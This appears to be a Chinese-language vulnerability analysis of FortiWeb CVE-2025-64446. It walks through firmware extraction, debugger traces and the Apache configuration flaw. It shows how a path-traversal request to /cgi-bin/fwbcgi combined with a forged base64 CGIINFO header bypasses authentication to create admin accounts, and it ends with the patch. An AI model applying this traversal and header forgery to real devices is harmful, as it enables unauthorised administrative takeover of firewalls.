FortiWeb CVE-2025-64446漏洞分析

Based on 7.0.11 & 7.0.12

文件系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

udo file -s /dev/sdb*
[sudo] password for user:
/dev/sdb: DOS/MBR boot sector; partition 1 : ID=0x83, active, start-CHS (0x0,0,0), end-CHS (0x0,0,0), startsector 12194, 800000 sectors; partition 2 : ID=0x83, start-CHS (0x0,0,0), end-CHS (0x0,0,0), startsector 812194, 800000 sectors; partition 3 : ID=0x83, start-CHS (0x0,0,0), end-CHS (0x0,0,0), startsector 1612194, 200000 sectors; partition 4 : ID=0x83, start-CHS (0x0,0,0), end-CHS (0x0,0,0), startsector 1812194, 65296670 sectors
/dev/sdb1: DOS/MBR boot sector
/dev/sdb2: data
/dev/sdb3: Linux rev 1.0 ext3 filesystem data, UUID=8c4d311d-58e4-475a-bdde-b32da9cf668c (large files)
/dev/sdb4: Linux rev 1.0 ext4 filesystem data, UUID=e2db5aaa-d698-4873-8a98-bbb6e3c5b961, volume name "FWB_LOGDISK" (extents) (64bit) (large files) (huge files)

sudo mount -o ro,loop /dev/sdb1 /mnt
ls /mnt
backup_config_file config extlinux.conf ldlinux.c32 lib rootfs.gz var vmlinuz.chk
bin etc krootfs.gz ldlinux.sys lost+found rootfs.gz.chk vmlinuz vmlinuz.kdump


sudo mount -o ro,loop /dev/sdb4 /mnt
ls /mnt
apache_logs dbg_cli.log gui_upload maxminddb proxyd_statistic.db upd_dir
api debug hasync messages redis upd-log
botd dlog_indexd hcdb.dat ml-backup Reports_adom url_record.db
bot_management dlog_logd irdb_sig.db ml-backup-api scanner_integration vir
clustering.log dmesg known_engines_adom ml-backup-bot shell_accessd_log virext
cmdb fds-fpm lib mysql shibboleth wad
cmdb.log filebeat libav.so mysqld_monitor.sh sig-func wassd_debug_log
cmdb_refcnt filebeat_registry log_global_manage.db nic_affinity_log statistic_adom wvs
cmdb_refcnt.log fwlog logo openapi tmprpts_adom
dbg_acmed.log garbage_access.log lost+found outgoing update_history.db


xz -d -k -f -c ./rootfs.gz > rootfs.bin
sudo mount -o ro,loop rootfs.bin /mnt
ls /mnt
bin data dev etc home lib lib64 migadmin mnt modules proc script share sys tmp usr var VERSION
cat /mnt/VERSION
7.0.11-B0181

Root Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
config system global

set shell-access enable

set shell-username testadmin

set shell-password passforadmin

set shell-timeout 1200 --> The shell-access will be disabled in 1200 minutes.

set shell-history-size 1024 --> Record 1024 operations.

set shell-trusthostv4 0.0.0.0/0 --> Source ip (ipv4) should in the trust-host address.

set shell-trusthostv6 ::/0 --> Source ip (ipv6) should in the trust-host address.

end

然后使用这个账号登录即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

ssh debug@192.168.139.135
The authenticity of host '192.168.139.135 (192.168.139.135)' can't be established.
ED25519 key fingerprint is SHA256:sOFOLiOCYxDuyr2nRQz/wtps/Q/p/tb2q11TNBJJHqM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.139.135' (ED25519) to the list of known hosts.
debug@192.168.139.135's password:
-- WARNING! All configurations should be done through CLI shell.
-- You now have full access.
/# ls
VERSION data etc lib migadmin modules script sys usr
bin dev home lib64 mnt proc share tmp var
/#

或者:

服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -Pn -T4 -p- 192.168.139.135                      
Starting Nmap 7.80 ( https://nmap.org ) at 2025-11-20 16:31 HKT
Nmap scan report for 192.168.139.135
Host is up (0.0011s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE
8/tcp filtered unknown
9/tcp filtered discard
22/tcp open ssh
43/tcp filtered whois
80/tcp open http
443/tcp open https
995/tcp open pop3s

httpsd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/# /bin/httpsd -V
Server version: xxxxxxx/2.4.53 (Unix)
Server built: Mar 26 2025 18:38:56
Server's Module Magic Number: 20120211:124
Server loaded: APR 1.5.1, APR-UTIL 1.5.3, PCRE 8.43 2019-02-23
Compiled using: APR 1.4.6, APR-UTIL 1.4.1, PCRE 8.43 2019-02-23
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D BIG_SECURITY_HOLE
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_SYSVSEM_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/migadmin"
-D SUEXEC_BIN="/migadmin/bin/suexec"
-D DEFAULT_PIDLOG="/var/run/httpsd.pid"
-D DEFAULT_SCOREBOARD="/var/run/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="conf/mime.types"
-D SERVER_CONFIG_FILE="conf/httpd.conf"

涉及到漏洞的配置文件:

1
2
3
4
5
<Location /api/v2.0/>

SetHandler fwbcgi-handler

</Location>

这个模块是httpd的静态模块,也就是编译到二进制文件中了:

CVE-2025-64446

请求路径 /api/v2.0/../../cgi-bin/fwbcgi 包含路径遍历序列 ../..,试图从/api/v2.0/向上跳转两级目录,到达/cgi-bin/fwbcgi,Apache 会在处理请求前对路径进行规范化处理,将 /api/v2.0/../../cgi-bin/fwbcgi 规范化为/cgi-bin/fwbcgi。根据配置文件:

1
2
3
4
5
6
7
8
9
10
<IfModule alias_module>
ScriptAlias /cgi-bin/ "/migadmin/cgi-bin/"
</IfModule>

<Directory "/migadmin/cgi-bin">
Options +ExecCGI
SetHandler cgi-script
</Directory>


规范化后的路径 /cgi-bin/fwbcgi 会匹配 ScriptAlias /cgi-bin/ 规则,该路径会被映射到物理路径 /migadmin/cgi-bin/fwbcgi,该目录启用了 CGI 执行(Options +ExecCGI 和 SetHandler cgi-script)如果 fwbcgi 文件存在且可执行,请求会成功执行:

使用strace观察,两次请求其实都访问到了fwbcgi,所以根本没有经过fwbcgi-handler:

1
2
3
4
5
6
7
8
9
/tmp # strace -ff -e trace=fork,execve -p 26730
strace: Process 26730 attached
strace: Process 26772 attached
[pid 26772] execve("/migadmin/cgi-bin/fwbcgi", ["/cgi-bin/fwbcgi", "/migadmin/cgi-bin/fwbcgi"], 0xe02e08 /* 38 vars */) = 0
[pid 26772] +++ exited with 0 +++
strace: Process 28042 attached
[pid 28042] execve("/migadmin/cgi-bin/fwbcgi", ["/cgi-bin/fwbcgi", "/migadmin/cgi-bin/fwbcgi"], 0xe02e08 /* 38 vars */) = 0
[pid 28042] +++ exited with 0 +++

注意在调试http的这种模式的fork + execve的cgi调用时,设置gdb:

1
2
3
set follow-fork-mode child #跟随子进程
set detach-on-fork off # fork 后不分离
set schedule-multiple on # 所有进程都运行,这样continue的时候都会运行,面对cgi需要从parent读取数据时很有效

在调用fwbcgi时环境变量为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe239fa9a0 ◂— 2
01:0008│ 0x7ffe239fa9a8 —▸ 0x7ffe239fcb3a ◂— '/cgi-bin/fwbcgi'
02:0010│ 0x7ffe239fa9b0 —▸ 0x7ffe239fcb4a ◂— '/migadmin/cgi-bin/fwbcgi'
03:0018│ 0x7ffe239fa9b8 ◂— 0
04:0020│ 0x7ffe239fa9c0 —▸ 0x7ffe239fcb63 ◂— 'no_gzip=1'
05:0028│ 0x7ffe239fa9c8 —▸ 0x7ffe239fcb6d ◂— 'HTTPS=on'
06:0030│ 0x7ffe239fa9d0 —▸ 0x7ffe239fcb76 ◂— 'HTTP_HOST=192.168.139.147'
07:0038│ 0x7ffe239fa9d8 —▸ 0x7ffe239fcb90 ◂— 'HTTP_SEC_CH_UA_PLATFORM="Windows"'
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
► 0 0x7fc42a5a8090 None
1 0x2 None
2 0x7ffe239fcb3a None
3 0x7ffe239fcb4a None
4 0x0 None
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack
00:0000│ rsp 0x7ffe239fa9a0 ◂— 2
01:0008│ 0x7ffe239fa9a8 —▸ 0x7ffe239fcb3a ◂— '/cgi-bin/fwbcgi'
02:0010│ 0x7ffe239fa9b0 —▸ 0x7ffe239fcb4a ◂— '/migadmin/cgi-bin/fwbcgi'
03:0018│ 0x7ffe239fa9b8 ◂— 0
04:0020│ 0x7ffe239fa9c0 —▸ 0x7ffe239fcb63 ◂— 'no_gzip=1'
05:0028│ 0x7ffe239fa9c8 —▸ 0x7ffe239fcb6d ◂— 'HTTPS=on'
06:0030│ 0x7ffe239fa9d0 —▸ 0x7ffe239fcb76 ◂— 'HTTP_HOST=192.168.139.147'
07:0038│ 0x7ffe239fa9d8 —▸ 0x7ffe239fcb90 ◂— 'HTTP_SEC_CH_UA_PLATFORM="Windows"'
pwndbg>
08:0040│ 0x7ffe239fa9e0 —▸ 0x7ffe239fcbb2 ◂— 'HTTP_ACCEPT_LANGUAGE=zh-CN,zh;q=0.9'
09:0048│ 0x7ffe239fa9e8 —▸ 0x7ffe239fcbd6 ◂— 'HTTP_ACCEPT=application/json, text/plain, */*'
0a:0050│ 0x7ffe239fa9f0 —▸ 0x7ffe239fcc04 ◂— 'HTTP_SEC_CH_UA="Not_A Brand";v="99", "Chromium";v="142"'
0b:0058│ 0x7ffe239fa9f8 —▸ 0x7ffe239fcc3c ◂— 'HTTP_USER_AGENT=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36'
0c:0060│ 0x7ffe239faa00 —▸ 0x7ffe239fccbc ◂— 'HTTP_SEC_CH_UA_MOBILE=?0'
0d:0068│ 0x7ffe239faa08 —▸ 0x7ffe239fccd5 ◂— 'HTTP_SEC_FETCH_SITE=same-origin'
0e:0070│ 0x7ffe239faa10 —▸ 0x7ffe239fccf5 ◂— 'HTTP_SEC_FETCH_MODE=cors'
0f:0078│ 0x7ffe239faa18 —▸ 0x7ffe239fcd0e ◂— 'HTTP_SEC_FETCH_DEST=empty'
pwndbg>
10:0080│ 0x7ffe239faa20 —▸ 0x7ffe239fcd28 ◂— 'HTTP_REFERER=https://192.168.139.147/root/system/dashboard/1'
11:0088│ 0x7ffe239faa28 —▸ 0x7ffe239fcd65 ◂— 'HTTP_ACCEPT_ENCODING=gzip, deflate, br'
12:0090│ 0x7ffe239faa30 —▸ 0x7ffe239fcd8c ◂— 'HTTP_PRIORITY=u=1, i'
13:0098│ 0x7ffe239faa38 —▸ 0x7ffe239fcda1 ◂— 'HTTP_CONNECTION=keep-alive'
14:00a0│ 0x7ffe239faa40 —▸ 0x7ffe239fcdbc ◂— 'PATH=/bin:/data/bin'
15:00a8│ 0x7ffe239faa48 —▸ 0x7ffe239fcdd0 ◂— 'PYTHONHOME=/'
16:00b0│ 0x7ffe239faa50 —▸ 0x7ffe239fcddd ◂— 'SERVER_SIGNATURE='
17:00b8│ 0x7ffe239faa58 —▸ 0x7ffe239fcdef ◂— 'SERVER_SOFTWARE=xxxxxxx'
pwndbg>
18:00c0│ 0x7ffe239faa60 —▸ 0x7ffe239fce07 ◂— 'SERVER_NAME=192.168.139.147'
19:00c8│ 0x7ffe239faa68 —▸ 0x7ffe239fce23 ◂— 'SERVER_ADDR=192.168.139.147'
1a:00d0│ 0x7ffe239faa70 —▸ 0x7ffe239fce3f ◂— 'SERVER_PORT=43'
1b:00d8│ 0x7ffe239faa78 —▸ 0x7ffe239fce4e ◂— 'REMOTE_ADDR=192.168.139.1'
1c:00e0│ 0x7ffe239faa80 —▸ 0x7ffe239fce68 ◂— 'DOCUMENT_ROOT=/migadmin/new_gui'
1d:00e8│ 0x7ffe239faa88 —▸ 0x7ffe239fce88 ◂— 'REQUEST_SCHEME=https'
1e:00f0│ 0x7ffe239faa90 —▸ 0x7ffe239fce9d ◂— 'CONTEXT_PREFIX=/cgi-bin/'
1f:00f8│ 0x7ffe239faa98 —▸ 0x7ffe239fceb6 ◂— 'CONTEXT_DOCUMENT_ROOT=/migadmin/cgi-bin/'
pwndbg>
20:0100│ 0x7ffe239faaa0 —▸ 0x7ffe239fcedf ◂— 'SERVER_ADMIN=support@fortinet.com'
21:0108│ 0x7ffe239faaa8 —▸ 0x7ffe239fcf01 ◂— 'SCRIPT_FILENAME=/migadmin/cgi-bin/fwbcgi'
22:0110│ 0x7ffe239faab0 —▸ 0x7ffe239fcf2a ◂— 'REMOTE_PORT=22761'
23:0118│ 0x7ffe239faab8 —▸ 0x7ffe239fcf3c ◂— 'GATEWAY_INTERFACE=CGI/1.1'
24:0120│ 0x7ffe239faac0 —▸ 0x7ffe239fcf56 ◂— 'SERVER_PROTOCOL=HTTP/1.1'
25:0128│ 0x7ffe239faac8 —▸ 0x7ffe239fcf6f ◂— 'REQUEST_METHOD=GET'
26:0130│ 0x7ffe239faad0 —▸ 0x7ffe239fcf82 ◂— 'QUERY_STRING='
27:0138│ 0x7ffe239faad8 —▸ 0x7ffe239fcf90 ◂— 'REQUEST_URI=/api/v2.0/cmdb/../../../cgi-bin/fwbcgi'
pwndbg>
28:0140│ 0x7ffe239faae0 —▸ 0x7ffe239fcfc3 ◂— 'SCRIPT_NAME=/cgi-bin/fwbcgi'

正常情况下创建一个用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
POST /api/v2.0/cmdb/system/admin HTTP/1.1
Host: 192.168.139.147
Cookie: APSCOOKIE_VDOM_8672793038565212270=root; APSCOOKIE_FWEB_8672793038565212270=Era=0&Payload=VtyWFEH3vAxtE+LI5DcmIAxsGfMA4P0X7Rz63UyJKtV6qsIIOQIZOjELgcIunzM4%0avPKixbmZ03S1yfyM7UOcyvlJUj2RYzfG7Qzpt9OA2kD6qYDFDcz6WA==%0a&AuthHash=mLVwSfvYUonYIpisPfyjsSVB3nE=%0a
Content-Length: 545
Sec-Ch-Ua-Platform: "Windows"
X-Csrftoken: 1254964471
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Origin: https://192.168.139.147
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.139.147/root/system/admin/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

{"data":{"q_type":1,"name":"debug","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0 ","trusthostv6":"::/0 ","last-name":"","first-name":"","email-address":"","phone-number":"","mobile-number":"","hidden":0,"domains":"root","sz_dashboard":-1,"sz_gui-dashboard":-1,"type":"local-user","type_val":"0","admin-usergrp_val":"0","wildcard_val":"0","accprofile-override_val":"0","sshkey":"","passwd-set-time":0,"history-password-pos":0,"force-password-change":"disable","force-password-change_val":"0","password":"debug"}}


HTTP/1.1 200 OK
Date: Tue, 25 Nov 2025 04:46:30 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: APSCOOKIE_FWEB_8672793038565212270=Era=0&Payload=VtyWFEH3vAwIVBRlSIWlSLgisjwtYnjaC+F/srj9cnvHSs/+vrvD4zdVOCiwbEhu%0avlwrzQaeiMokfkrND+jm9hAKU6aFaVUTA+8xQ8/S0gqptU69ZIsPJA==%0a&AuthHash=lgQBD41oFh+IaUBolRxVXGkOjfA=%0a; path=/; secure; HttpOnly; SameSite=Strict
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: Script-Src 'self', frame-ancestors 'self'; Object-Src 'self'; base-uri 'self';
X-Content-Type-Options: nosniff
Content-Length: 1070
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

{ "results": { "can_view": 0, "q_ref": 0, "can_clone": 1, "q_type": 1, "name": "debug", "access-profile": "prof_admin", "access-profile_val": "983", "trusthostv4": "0.0.0.0\/0 ", "trusthostv6": "::\/0 ", "last-name": "", "first-name": "", "email-address": "", "phone-number": "", "mobile-number": "", "hidden": 0, "domains": "root ", "sz_dashboard": 8, "sz_gui-dashboard": 7, "type": "local-user", "type_val": "0", "admin-usergrp": "", "admin-usergrp_val": "0", "password": "ENC XXXX", "wildcard": "disable", "wildcard_val": "0", "accprofile-override": "disable", "accprofile-override_val": "0", "sshkey": "", "passwd-set-time": 1764045990, "history-password-pos": 1, "history-password0": "ENC XXXX", "history-password1": "ENC XXXX", "history-password2": "ENC XXXX", "history-password3": "ENC XXXX", "history-password4": "ENC XXXX", "history-password5": "ENC XXXX", "history-password6": "ENC XXXX", "history-password7": "ENC XXXX", "history-password8": "ENC XXXX", "history-password9": "ENC XXXX", "force-password-change": "disable", "force-password-change_val": "0" } }

再次审查/api/v2.0/回调函数sub_630990:

在将请求转发到/cgi-bin/fwbcgi之前会从cookie中获取操作用户的关键凭证即username、profname、vdom、loginname,转为json并base64编码作为HTTP_CGIINFO头部成员。

ap_internal_redirect下断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Breakpoint 1, 0x00000000004fa080 in ap_internal_redirect ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────
*RAX 0x1ca82ff ◂— 0x1caa67000
*RBX 0x7fff303801c0 ◂— '{ "username": "admin", "profname": "prof_admin", "vdom": "root", "loginname": "admin", "session_id": "886723341" }'
*RCX 0x13
*RDX 0x1ca92c0 ◂— '/api/v2.0/cmdb/system/admin'
*RDI 0x69490e ◂— '/cgi-bin/fwbcgi'
*RSI 0x1ca7bf0 —▸ 0x1ca7b78 —▸ 0x1c54768 —▸ 0x1c50748 —▸ 0x17db048 ◂— ...
*R8 0x1c82201 ◂— 'Dg2NzIzMzQxIiB9'
*R9 0x7f6a50d1d467 (__memcpy_ssse3+3895) ◂— movaps xmm2, xmmword ptr [rsi - 0x18]
*R10 0x6c4e586469417965 ('eyAidXNl')
*R11 0x6955576268356d63 ('cm5hbWUi')
*R12 0
*R13 0x1974f40 —▸ 0x1c85990 ◂— 0
*R14 0x7fff303802c0 ◂— 'eyAidXNlcm5hbWUiOiAiYWRtaW4iLCAicHJvZm5hbWUiOiAicHJvZl9hZG1pbiIsICJ2ZG9tIjogInJvb3QiLCAibG9naW5uYW1lIjogImFkbWluIiwgInNlc3Npb25faWQiOiAiODg2NzIzMzQxIiB9'
*R15 0x7fff303800c0 ◂— 0x746f6f72 /* 'root' */
*RBP 0x1ca7bf0 —▸ 0x1ca7b78 —▸ 0x1c54768 —▸ 0x1c50748 —▸ 0x17db048 ◂— ...
*RSP 0x7fff3037fbc8 —▸ 0x63169f ◂— jmp 0x630eb7
*RIP 0x4fa080 (ap_internal_redirect) ◂— push rbp:

pwndbg> bt
#0 0x00000000004fa080 in ap_internal_redirect ()
#1 0x000000000063169f in ?? ()
#2 0x000000000044be40 in ap_run_handler ()
#3 0x000000000044c636 in ap_invoke_handler ()
#4 0x00000000004f936b in ap_process_async_request ()
#5 0x00000000004f953e in ap_process_request ()
#6 0x00000000004f1aac in ?? ()
#7 0x0000000000474260 in ap_run_process_connection ()
#8 0x0000000000639769 in ?? ()
#9 0x0000000000639a2f in ?? ()
#10 0x0000000000639c28 in ?? ()
#11 0x000000000063a264 in ?? ()
#12 0x0000000000474bb0 in ap_run_mpm ()
#13 0x0000000000441b3f in main ()
#14 0x00007f6a50c0cd0b in __libc_start_main () from target:/lib64/libc.so.6
#15 0x0000000000441cca in _start ()

结合fwbcgi鉴权逻辑在cgi_auth中其实只是提取HTTP_CGIINFO进行校验而没有涉及cookie字段,然后直接调用cgi_process后端具体实现:

所以由于配置问题导致关键后端CGI暴露,user可以未授权访问fwbcgi并且伪造CGIINFO绕过鉴权,可以实现相当于授权状态下对各种/api/v2.0/开头的API功能访问,其中包括/api/v2.0/cmdb/system/admin创建用户。

Patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 默认拒绝所有文件
<Files "*">
Require all denied
</Files>
# 特定文件的内部访问控制(关键部分)
<Files "fwbcgi">
SetEnvIf REDIRECT_STATUS 200 is_internal
#- SetEnvIf:根据条件设置环境变量
#- REDIRECT_STATUS:Apache 内部重定向时设置的环境变量
#- 200:HTTP 状态码 200(成功)
#- is_internal:如果 REDIRECT_STATUS 等于 200,则设置环境变量 is_internal
Require env is_internal
#- 要求环境变量 is_internal 必须存在
#- 只有内部重定向的请求才能访问
</Files>